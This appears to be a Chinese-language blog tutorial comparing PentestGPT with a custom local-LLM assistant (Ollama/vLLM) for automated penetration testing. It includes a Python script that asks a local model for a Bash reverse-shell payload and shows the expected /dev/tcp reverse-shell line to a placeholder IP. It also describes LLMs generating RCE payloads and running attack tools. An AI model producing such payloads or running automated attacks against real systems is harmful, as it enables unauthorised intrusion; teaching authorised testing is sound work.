汤不热吧Contents
导语：从脚本小子到AI驱动的渗透工程师
传统的渗透测试（Pentest）高度依赖工程师的经验和手册流程。然而，随着大型语言模型（LLMs）能力的飞速提升，我们正进入LLM-driven Pentest时代。这种新范式要求工具不仅能执行命令，还能进行复杂的推理、规划和决策。本文将聚焦两个主流路径：专业的全流程自动化工具 PentestGPT，以及高度灵活的自定义 AI 助手（概念化为cai类工具），并提供实战基础设施配置指南。
1. 核心需求对比：PentestGPT vs. 自定义LLM助手
在选择 LLM 渗透测试工具时，基础设施工程师和安全专家需要根据项目需求和资源投入进行权衡。
| 特性 | PentestGPT | 自定义LLM助手 (cai类) |
|---|---|---|
| 主要目标 | 端到端流程自动化、上下文维护、报告生成。 | 实时辅助、特定任务加速、复杂Payload生成。 |
| 部署复杂度 | 低（Python包安装，依赖外部API）。 | 中高（需要部署API代理、本地LLM（如vLLM）或复杂的框架集成）。 |
| 核心模型 | 默认推荐GPT-4/GPT-4o（依赖强大的推理能力）。 | 可灵活切换，支持Llama 3, Mixtral等本地模型。 |
| 基础设施 | 稳定且高带宽的外部API访问。 | GPU资源、容器化（Docker/Podman）、API网关。 |
| 适用场景 | 完整的Web/网络测试、CTF竞赛、初级至中级自动化。 | 高度定制化的Fuzzing、内网渗透辅助、敏感数据保护项目。 |
2. PentestGPT：全流程自动化与部署实践
PentestGPT 是目前最成熟的 LLM 渗透测试工具之一，它将复杂的渗透过程分解为可追溯的步骤，利用 LLM 进行规划和命令执行。
2.1 基础设施要求与安装
PentestGPT主要依赖强大的外部LLM API（如OpenAI或Claude）。因此，基础设施的重点在于稳定可靠的网络连接和有效的API密钥管理。
安装步骤：
2
3
4
5
6
7
8
9
pip install pentestgpt
# 设置API Key
# 注意：在生产环境中，应使用Secrets Manager或Vault管理密钥，而不是直接写入环境变量。
export OPENAI_API_KEY="sk-...YOUR_KEY..."
# 验证安装
pentestgpt --version
2.2 实战运行配置
PentestGPT 通过
1 | --target |
指定目标，并自动进行信息收集、漏洞分析和命令生成。
2
3
4
5
6
7
8
# --reasoning_model 建议使用推理能力强的模型
pentestgpt --target "http://192.168.1.100" --reasoning_model "gpt-4o"
# 流程示例：
# 1. Planner: LLM生成初步策略。
# 2. Execution: LLM指示工具（如nmap, curl）执行命令。
# 3. Analysis: LLM分析工具输出结果，决定下一步。
3. 自定义LLM助手（cai模式）：本地模型与高性能部署
如果项目对数据隐私有极高要求，或需要使用针对特定任务（如RCE Payload生成）进行微调的本地模型，则需要采用自定义的“cai”模式。
这种模式下，核心基础设施挑战在于如何高效部署和管理本地开源LLM。
3.1 使用 Ollama/vLLM 部署本地推理服务
我们推荐使用 vLLM 或 Ollama 来部署高性能的本地 LLM 推理服务，供渗透测试脚本调用。
Ollama 部署示例（适用于快速测试）：
2
3
4
5
6
7
8
# (假设已安装Docker)
docker run -d -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama
# 2. 下载并运行 Llama 3 8B 模型
docker exec ollama ollama pull llama3:8b
# 服务现在运行在 http://localhost:11434
3.2 自定义Python脚本调用（“cai”模式实现）
现在，我们可以编写一个简单的 Python 脚本，利用这个本地服务，实现针对特定任务的实时辅助，例如生成反弹shell代码。
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import json
LOCAL_LLM_URL = "http://localhost:11434/api/generate"
PROMPT = "请生成一个针对Linux目标，使用Bash，端口为4444的可靠反弹Shell Payload。"
def get_payload_from_local_llm(prompt):
headers = {"Content-Type": "application/json"}
data = {
"model": "llama3:8b",
"prompt": prompt,
"stream": False,
"options": {"temperature": 0.1}
}
try:
response = requests.post(LOCAL_LLM_URL, headers=headers, json=data)
response.raise_for_status()
return response.json()['response'].strip()
except Exception as e:
return f"调用本地LLM失败: {e}"
print("--- LLM生成的反弹Shell ---")
payload = get_payload_from_local_llm(PROMPT)
print(payload)
# 预期输出: bash -i >& /dev/tcp/YOUR_IP/4444 0>&1
4. 选型总结：何时选用何种方案
- 首选 PentestGPT： 如果你的目标是高效、可重复的全流程渗透测试，并且可以接受使用商业LLM API（如GPT-4o）带来的成本和数据传输。PentestGPT提供了开箱即用的上下文管理和结构化输出。
- 首选 自定义/cai模式： 如果你的核心需求是数据隐私、使用特定微调模型、或需要将LLM集成到现有定制工具链中。这要求你投入更多的基础设施资源（GPU和vLLM/Ollama）。
无论选择哪种方案，LLM驱动的渗透测试都标志着安全领域的一次重大飞跃，要求AI基础设施工程师提供稳定、低延迟的LLM服务。